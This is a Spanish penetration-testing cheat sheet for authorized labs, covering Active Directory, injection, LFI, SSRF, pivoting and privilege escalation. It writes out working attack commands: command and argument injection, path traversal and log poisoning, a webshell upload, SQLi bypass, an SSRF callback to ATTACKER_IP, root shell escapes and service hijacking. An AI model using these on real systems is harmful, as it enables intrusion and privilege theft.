

Bloque 11_chuletas

Índice de módulos

- Active Directory
- Command Y Argument Injection
- Enumeracion Inicial
- Escalada Linux
- Estabilizacion De Shells
- File Upload
- Http Y Burp
- Interpretacion De Puertos
- Lfi Y Path Traversal
- Redes Y Pivoting
- Reverse Shells
- Sql Injection
- Ssrf
- Windows

Active Directory

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Puertos 88, 389, 445, 636, 3268 abiertos en el mismo host.
- nmap/enum filtra un nombre de dominio (algo.local) y el hostname del DC.
- Puertos 389/636 abiertos junto a 88 (Kerberos) y 445 (SMB): confirma que es un DC.
- Ldapsearch sin credenciales (bind anonimo) devuelve resultados en vez de error de autenticacion.
- GetNPUsers devuelve hashes \$krb5asrep\$ (hay usuarios sin preauth).
- GetUserSPNs lista cuentas de servicio con SPN y devuelve \$krb5tgt\$.
- Aristas 'GenericAll', 'WriteDACL', 'ForceChangePassword' hacia grupos privilegiados.
- Sesiones de un admin en una maquina donde tu tienes acceso.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>nmap -sC -sV -Pn -p 53,88,135,139,389,445,464,636,3268,5985 \$IP</code>	Escanea los puertos típicos de un DC de una vez. La combinación 88+389+445 confirma que estás ante un dominio y no una máquina suelta.	Puerto 88 abierto = DC. Los scripts LDAP/SMB filtran el nombre del dominio y del DC: anótalos para /etc/hosts antes de seguir.
<code>ldapsearch -x -H ldap://\$IP -s base namingcontexts</code>	Bind anónimo (-x sin credenciales) pidiendo el naming context base. Es la prueba mínima: si responde, el bind anónimo está permitido.	Un defaultNamingContext tipo DC=corp,DC=local. Confirma el nombre del dominio y que puedes seguir consultando sin credenciales.
<code>ldapsearch -x -H ldap://\$IP -D '' -w '' -b 'DC=corp,DC=local' '(objectClass=user)'</code>	Con el naming context ya conocido, pide todos los objetos de tipo usuario vía bind anónimo. Es la enumeración completa de usuarios sin credenciales.	Una lista de usuarios del dominio con sus atributos visibles. Extrae los nombres para spraying o Kerberoasting.
<code>impacket-GetNPUsers \$DOMAIN/ -usersfile users.txt -no-pass -dc-ip \$IP</code>	AS-REP roasting sin credenciales: pide tickets para usuarios con preauth desactivada. Solo necesitas la lista de usuarios y la IP del DC.	Hashes \$krb5asrep\$ para los usuarios vulnerables. Cada uno es crackeable offline (hashcat -m 18200). Sin salida = nadie tiene preauth desactivada.
<code>impacket-GetUserSPNs \$DOMAIN/\$USER:\$PASS -dc-ip \$IP -request</code>	Kerberoasting: con una credencial de dominio pides los tickets de las cuentas de servicio. Esas cuentas suelen tener passwords débiles y muchos permisos.	Hashes \$krb5tgs\$ junto al nombre del servicio. Prioriza los que parezcan admin; crackea con hashcat -m 13100.
<code>bloodhound-python -d \$DOMAIN -u \$USER -p \$PASS -c all -ns \$IP --zip</code>	Recolecta todo el grafo del dominio con una sola credencial, sin necesidad de pisar una máquina Windows. -c all junta toda la información; --zip lo deja listo para importar.	Un .zip para arrastrar a la GUI de BloodHound. Allí marca tu usuario como owned y lanza la consulta de rutas a Domain Admins.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Command Y Argument Injection

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Un parametro que hace de host/IP/dominio para una operacion de red (ping, traceroute, whois).
- Un campo de nombre de fichero usado para convertir, comprimir o procesar con una herramienta externa.
- La salida incluye trazas de una herramienta concreta (barra de progreso de curl, 'Resolving host...' de wget).
- Los separadores de shell no ejecutan comandos, pero cambiar la URL/fichero si altera el resultado.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>curl -sS -X POST "\$URL/api/ping" -H 'Content-Type: application/json' -d '{"host":"127.0.0.1; id"}'</code>	Prueba de confirmacion inocua: si 'host' llega a un ping del sistema, el ; encadena tu comando id sin romper el ping original.	La salida de id (uid=www-data...) mezclada en la respuesta confirma ejecucion. El usuario que veas es con el que tendras shell tras escalar.
<code>http://127.7</code> <code>file:///etc/passwd</code>	curl acepta varias URLs en una invocacion; el espacio separa un segundo argumento y file:// es un esquema local. La primera URL supera la validacion superficial y la segunda lee el fichero.	El contenido de /etc/passwd en la respuesta. Confirma inyeccion de argumentos/URL en curl (no command injection): la lectura ocurre por el esquema file://, no por un shell.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Enumeracion Inicial

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Un puerto abierto con una version concreta: tu primera pista para buscar CVEs.
- Hostnames en certificados TLS o en scripts de nmap: anadelos a /etc/hosts.
- Un puerto alto o raro responde con cabeceras HTTP.
- El nombre de servicio de Nmap no coincide con el banner o con el comportamiento.
- Puerto 53 (TCP/UDP) abierto en el objetivo.
- Un hostname en un certificado TLS o un email que revela el dominio interno a enumerar.
- nmap marca 445/tcp open microsoft-ds o el script smb saca el dominio.
- Un share con permiso READ que no sea IPC\$ (a menudo backups, transfer, dev).

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>nmap -p- -Pn -n --min-rate 5000 \$IP -oN nmap/all_ports.txt</code>	Barrido de amplitud: los 65535 puertos sin scripts es rapido. -Pn evita que nmap descarte el host por no responder al ping (comun en labs).	Solo la lista de puertos open. Copia esos numeros para el segundo escaneo; ignora versiones aqui.
<code>nmap -sC -sV -Pn -p <PUERTOS> \$IP -oN nmap/services.txt</code>	Profundidad solo donde hace falta: version exacta (-sV, base de los CVEs) y scripts por defecto (-sC) que sacan datos gratis.	Versiones, banners, hostnames en certificados y hallazgos de scripts (smb anonimo, titulos web). Cada version -> searchsploit.
<code>nmap -sC -sV -Pn -p <PUERTO> \$IP</code>	Confirma que habla realmente el puerto y recoge scripts/banners utiles.	Servicio, producto, version y pistas como titulos HTTP o certificados.
<code>curl -i http://\$IP:<PUERTO>/</code>	Una comprobacion HTTP directa separa una aplicacion web real de una etiqueta de puerto equivocada.	Status, cabeceras y posiblemente framework o rutas a enumerar.
<code>dig axfr @\$IP dominio.local</code>	Intenta la transferencia de zona directamente. Es la prueba mas rentable: si el servidor la permite, obtienes todos los registros sin fuerza bruta.	Si funciona, una lista completa de registros A/CNAME/MX con nombres de host internos. 'Transfer failed' o REFUSED significa que esta bien configurado.
<code>nxc smb \$IP -u '' -p '' --shares</code>	Comprueba sesion nula y lista los shares de golpe. Es la prueba mas rentable en SMB: un share legible te ahorra toda la fase de explotacion.	Columna READ/WRITE por share. Un READ fuera de IPC\$ es saqueo directo. El encabezado tambien confirma nombre de equipo y dominio.
<code>nxc smb \$IP -u 'guest' -p '' --rid-brute</code>	Si hay acceso guest/nulo, itera los RID para sacar la lista de usuarios del dominio sin credenciales. Necesitas usuarios validos antes de rociar passwords.	Lineas SidTypeUser = usuarios reales. Extrae los nombres (sin las cuentas de maquina terminadas en \$) a users.txt para spraying y roasting.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Escalada Linux

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- linpeas marca en rojo/amarillo (99% PE vectors) un binario, servicio o fichero.
- pspy muestra procesos o cron que arrancan como root de forma periodica.
- sudo -l muestra entradas '(root) NOPASSWD: /ruta/bin' (ni siquiera piden password).
- El binario permitido aparece en GTFOBins bajo 'sudo'.
- find de SUID devuelve binarios raros (nmap, find, cp, python, vim, tar) fuera de los tipicos.
- Un binario a medida del reto con el bit SUID puesto.
- getcap lista un binario con cap_setuid+ep (escalada directa via python/perl).
- cap_dac_read_search+ep: lectura de /etc/shadow y cualquier fichero protegido.
- Un script referenciado en cron es escribible por tu usuario o su grupo.
- La tarea usa una ruta relativa o un comodin (*) en un directorio donde puedes crear ficheros.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>./linpeas.sh -a 2>/dev/null tee linpeas.txt</code>	Automatiza cientos de checks de privesc en un pase. -a es el modo agresivo; guardar la salida (tee) te deja releerla sin volver a correrlo.	Fijate en lo marcado en rojo/amarillo, sobre todo 'sudo', 'SUID', 'Capabilities', 'Cron', 'Interesting files'. Valida cada uno; hay falsos positivos.
<code>./pspy64 -pf -i 1000</code>	Muestra procesos y comandos que arrancan sin necesitar root, ideal para ver cron y tareas que ps puntual no capta. Revela que ejecuta root de forma periodica.	Comandos que aparecen cada X segundos con uid=0. Si alguno llama a un script o binario que puedes escribir, tienes un vector tipo cron-abuse.
<code>sudo -l</code>	Enumera exactamente que comandos puedes correr como otro usuario. Es el vector mas rapido y comun; muchas rooms se resuelven aqui sin buscar mas.	Entradas '(root) NOPASSWD: ...'. Cada binario permitido -> GTFOBins. Si pide password y no la tienes, este vector queda en pausa.
<code>sudo /usr/bin/find . -exec /bin/sh \; -quit</code>	Ejemplo tipico de GTFOBins: si puedes sudo find, su flag -exec lanza una shell heredando el privilegio root de sudo.	Prompt # y id con uid=0. Cambia find por el binario concreto que te permita tu sudo -l; la idea (forzar una shell) es la misma.
<code>find / -perm -4000 -type f 2>/dev/null</code>	Lista todos los binarios con bit SUID. -perm -4000 filtra justo ese bit; 2>/dev/null oculta el ruido de permiso denegado.	Rutas de binarios SUID. Ignora los tipicos del sistema; cualquier cosa rara o a medida -> GTFOBins. Anota tambien la version si es un binario conocido.
<code>getcap -r / 2>/dev/null</code>	Lista todos los binarios con capabilities asignadas. -r recorre recursivamente; el ruido de permiso denegado se oculta con 2>/dev/null.	Lineas 'binario = cap_XXX+ep'. cap_setuid -> escalada directa (GTFOBins). cap_dac_read_search -> lees /etc/shadow. Ignora los del sistema base.
<code>/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'</code>	Si python tiene cap_setuid, setuid(0) cambia tu uid a root y luego lanzas una shell que ya corre como root. Es la receta de GTFOBins para esa capability.	Prompt de root y id con uid=0. Cambia python por el interprete concreto que getcap marco con cap_setuid.
<code>cat /etc/crontab; ls -la /etc/cron.*</code>	Muestra las tareas programadas del sistema y con que frecuencia corren. Es el primer sitio donde mirar que ejecuta root de forma automatica.	Lineas con horario, usuario (root) y el comando/script. Anota los scripts que corren como root: el siguiente paso es ver si puedes escribirlos.
<code>ls -l /ruta/al/script_de_cron.sh</code>	Comprueba si el script que ejecuta root es escribible por ti. Ese permiso de escritura es justo la frontera de confianza rota que necesitas.	Los permisos y el dueño. Si tu usuario o un grupo tuyo tiene w, puedes inyectar comandos. Si no, busca comodines o rutas relativas manipulables.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Estabilizacion De Shells

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- El prompt no muestra usuario@host, o es un simple \$ sin mas.
- Las flechas imprimen ^[[A en vez de moverse por el historial.
- connection refused
- timeout

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>python3 -c 'import pty; pty.spawn("/bin/bash")'</code>	Crea la pseudo-TTY con la que ya funcionan su/sudo/passwd. Es el primer paso y el mas portable si la victima tiene python3.	El prompt suele cambiar a usuario@host. Si no hay python3, prueba python o 'script -qc /bin/bash /dev/null'.
<code>stty raw -echo; fg</code>	Se ejecuta EN TU KALI tras poner la shell en background (Ctrl+Z). Pasa tu terminal a modo raw para tener Ctrl+C, flechas y autocompletado dentro de la shell remota.	Al volver (fg) la shell ya se comporta como una terminal normal. Si ves letras dobladas o rota, ajusta filas/columnas con stty rows/cols.
<code>ss -ltnp grep 4444</code>	Confirma que el listener esta abierto en el puerto esperado.	Proceso escuchando en 0.0.0.0:4444 o interfaz correcta.
<code>python3 -c 'import pty; pty.spawn("/bin/bash")'</code>	Crea una pseudo-TTY cuando la shell Linux es interactiva pero limitada.	Prompt utilizable para completar la estabilizacion.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.

- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

File Upload

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- El formulario solo comprueba la extensión del NOMBRE, no el contenido real del fichero.
- Puedes predecir o descubrir la ruta donde se guardan los uploads (uploads/, /files/, patron de nombre).

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>curl -sS -F 'file=@shell.phtml;type=image/png' "\$URL/upload"</code>	Sube un fichero .phtml (extensión alternativa que muchos servidores PHP también ejecutan) declarando un Content-Type de imagen para intentar pasar validaciones basadas en ese campo.	La respuesta suele indicar éxito y a veces la ruta del fichero subido. Si no la da, prueba rutas predecibles (uploads/shell.phtml) o busca un listado de directorio.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Http Y Burp

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Cookie de sesion
- Authorization Bearer
- rutas /api
- respuestas JSON
- Set-Cookie
- Authorization: Bearer

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>curl -i \$URL/</code>	Establece una respuesta HTTP base fuera del navegador para comparar status y cabeceras.	Status, cabeceras y cuerpo de referencia.
<code>curl -sS \$URL/swagger.json</code>	Busca un contrato OpenAPI publicado.	Listado de rutas, metodos y esquemas.
<code>curl -sS -i -X OPTIONS "\$URL/api/resource"</code>	Comprueba metodos aceptados por un recurso.	Cabeceras Allow y respuesta del endpoint.
<code>curl -sS "\$URL/api/me" -H "Authorization: Bearer \$TOKEN"</code>	Verifica el contexto de identidad actual.	Perfil o respuesta autenticada.
<code>curl -sS -i "\$URL/api/me"</code>	Compara el endpoint sin credenciales.	401/403 o respuesta publica.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.

- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Interpretacion De Puertos

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Un puerto alto o raro responde con cabeceras HTTP.
- El nombre de servicio de Nmap no coincide con el banner o con el comportamiento.
- open|filtered
- 53/udp

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>nmap -sC -sV -Pn -p <PUERTO> \$IP</code>	Confirma que habla realmente el puerto y recoge scripts/banners utiles.	Servicio, producto, version y pistas como titulos HTTP o certificados.
<code>curl -i http://\$IP:<PUERTO>/</code>	Una comprobacion HTTP directa separa una aplicacion web real de una etiqueta de puerto equivocada.	Status, cabeceras y posiblemente framework o rutas a enumerar.
<code>nmap -sU -Pn -p 53,69,123,161 \$IP</code>	Comprueba UDP de alto valor sin barrer todo a ciegas.	Puertos open o open filtered para profundizar.
<code>nmap -sU -sV -Pn -p <PUERTOS_UDP> \$IP</code>	Identifica versiones en los UDP que merecen seguimiento.	Banner o respuesta del servicio.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Lfi Y Path Traversal

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Un parametro cuyo valor parece un nombre de fichero o de pagina (?page=home, ?file=report).
- La respuesta cambia de forma coherente al pedir rutas: ../ te acerca a la raiz, un fichero inexistente da un error de include con la ruta.
- Puedes leer un log (access.log, auth.log) via la LFI: el log refleja datos que tu envias, como el User-Agent.
- Existe una subida de ficheros que no valida bien la extension o el contenido.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>curl -s '\$URL/?page=../../../../.etc/passwd'</code>	Prueba de lectura con un fichero que siempre existe. Los ../ de sobra suben hasta la raiz aunque no sepas la profundidad real del script.	Lineas root:x:0:0. Si aparecen, hay LFI confirmada. Un error de include con una ruta absoluta tambien es util: te dice donde estas en el disco.
<code>curl -s '\$URL/?page=php://filter/convert.base64-encode/resource=config'</code>	Si el codigo anade .php y ejecuta el fichero, el wrapper php://filter te deja leer el FUENTE en base64 sin que se ejecute. Asi lees configs con credenciales.	Un blob en base64: decodificalo (base64 -d) para ver el codigo PHP. Busca ahi credenciales de BD, claves de API y rutas a otros ficheros jugosos.
<code>curl -s '\$URL/?page=../../../../var/log/apache2/access.log&c=id'</code>	Log poisoning: antes mandas PHP en tu User-Agent (queda escrito en el access.log) y ahora incluyes ese log via la LFI. El servidor interpreta tu PHP y ejecuta el comando de ?c=.	La salida de id incrustada entre las lineas del log confirma ejecucion. Fijate en el usuario (www-data): es con quien tendras la shell al escalar a reverse shell.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Redes Y Pivoting

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- ip route
- Dos interfaces
- El pivot tiene una IP en un rango distinto al que tu atacas (ej. 10.10.20.x).
- ip route o arp -a revelan hosts internos que no salian en tu escaneo inicial.
- timeout
- proxy error

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
ip route	Muestra que redes conoce el host actual y por que interfaz o gateway intentara alcanzarlas.	Prefijos, gateways e interfaces que revelan redes internas y posibles pivots.
ssh -D 1080 -N user@\$IP	Si tienes SSH al pivot, -D monta un proxy SOCKS local sin instalar nada. Es la via mas rapida y limpia con credenciales SSH validas.	No imprime nada (-N): el exito es el puerto 1080 escuchando en tu Kali (compruebalo con ss -ltnp). A partir de ahi, todo va con proxychains.
proxychains nmap -sT -Pn -n -p80,445 10.10.20.5	proxychains rutea nmap por el SOCKS hacia la red interna. -sT (connect) es obligatorio: por un SOCKS no pasa el SYN scan y darias todo por cerrado.	Puertos abiertos del host interno. Ve a pocos puertos (es lento por el tunel). Servicios abiertos = una mini-room nueva dentro de la red.
ip addr; ip route	Revela interfaces y redes que realmente ve el pivote.	Subred interna, gateway y rutas disponibles.
ss -ltnp	Confirma que el servicio de tunel o proxy escucha donde esperas.	Puerto, interfaz y proceso propietario.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Reverse Shells

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Tienes ejecución de comandos (RCE, 1f1-a-rce, una inyección) pero aun no una shell interactiva.
- Tu listener no recibe nada: revisa que LHOST sea TU IP de atacante (VPN, no la local) y que el puerto no este ocupado ni filtrado.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
nc -lvnp 4444	Pone tu maquina a escuchar para recibir una reverse shell. -l escucha, -v verboso, -n sin DNS, -p el puerto. Debe estar abierto ANTES de lanzar el payload.	'listening on [any] 4444' y luego 'connect to ... from ...' cuando entre. Si no entra nada, el LHOST/puerto del payload no coincide o hay un firewall de salida.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: [conceptos de Fieldbook](#). Método: [construcción de payloads](#).

Sql Injection

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Una comilla simple ' provoca un error de SQL o una pagina en blanco/500.
- Payloads logicos cambian el resultado: ' OR '1'='1 devuelve mas filas o entra sin password.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
'	Prueba de deteccion: una sola comilla rompe la sintaxis si el campo es inyectable.	Un error de SQL o una pagina 500 = probable SQLi. Si no cambia nada, prueba comilla doble o la version numerica (sin comillas).
' OR '1'='1	Bypass de login clasico: cierra la cadena y fuerza una condicion siempre verdadera.	Entras sin credenciales validas, o la busqueda devuelve todas las filas.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: conceptos de Fieldbook. Método: construcción de payloads.

Ssrf

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Un parametro llamado url, webhook, avatar, import, feed o callback.
- La app describe una funcion de 'importar desde URL' o 'verificar disponibilidad'.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>python3 -m http.server 8000</code>	Levanta un listener propio para confirmar el SSRF sin ambigüedad: si te llega la petición, sabes con certeza que el servidor sigue URLs que tu controlas.	El listener queda a la escucha. Combinalo con el siguiente comando para disparar la petición desde el servidor.
<code>curl -sS "\$URL/fetch?url=http://ATTACKER_IP:8000/"</code>	Dispara el SSRF apuntando al tu propio listener. Es la prueba minima y segura antes de tocar localhost o redes internas.	Una petición GET registrada en tu <code>python3 -m http.server</code> . Confirmado esto, repite el mismo parametro apuntando a 127.0.0.1 o al rango interno.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: [conceptos de Fieldbook](#). Método: [construcción de payloads](#).

Windows

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- whoami /priv revela un privilegio potente (SeImpersonate, SeBackup, SeDebug).
- WinPEAS resalta servicios modificables o rutas sin comillas.
- accesschk o WinPEAS marca SERVICE_CHANGE_CONFIG o WRITE sobre un servicio.
- El .exe del servicio esta en una carpeta escribible por tu usuario.
- SeImpersonatePrivilege = Enabled en whoami /priv.
- Tu usuario es un service account (iis apppool..., mssql, local service).

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
whoami /priv	Lista tus privilegios de token, el vector mas rapido en Windows. Varios (SeImpersonate, SeBackup, SeRestore, SeDebug) llevan a SYSTEM casi directo.	Privilegios y si estan Enabled. SeImpersonate -> token-impersonation. SeBackup/SeRestore -> sebackup-serestore. Anota los que esten habilitados.
systeminfo	Muestra version de Windows y hotfixes instalados. Comparar los parches con los CVE conocidos revela si hay un exploit de kernel aplicable.	OS version, build y lista de KB (parches). Pocos KB en un Windows viejo -> candidato a exploit de kernel; pasalo por Watson/wesng.
sc qc <servicio>	Muestra la configuracion del servicio: su BINARY_PATH_NAME y la cuenta con la que corre. Ahi ves si la ruta esta sin comillas y si corre como LocalSystem.	BINARY_PATH_NAME (mira comillas y espacios) y SERVICE_START_NAME (LocalSystem = SYSTEM). Combinar con accesschk revela si puedes modificarlo.
sc config <servicio> binPath="C:\Windows\Temp\pe.exe" && sc start <servicio>	Si tienes SERVICE_CHANGE_CONFIG, reescribes que ejecuta el servicio y lo arrancas: tu binario corra como SYSTEM. Es el abuso mas directo.	El servicio ejecuta tu pe.exe como SYSTEM (crea un usuario admin o lanza tu shell). Si no puedes cambiar config, prueba reemplazar el .exe o el unquoted path.
PrintSpoofer64.exe -i -c cmd	Abusa de SeImpersonate forzando al spooler a autenticarse contra el exploit y suplantando su token SYSTEM. -i abre una consola interactiva como SYSTEM.	Un cmd nuevo donde whoami dice 'nt authority\system'. Si falla por version/parcheo del spooler, prueba GodPotato o JuicyPotato segun el Windows.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
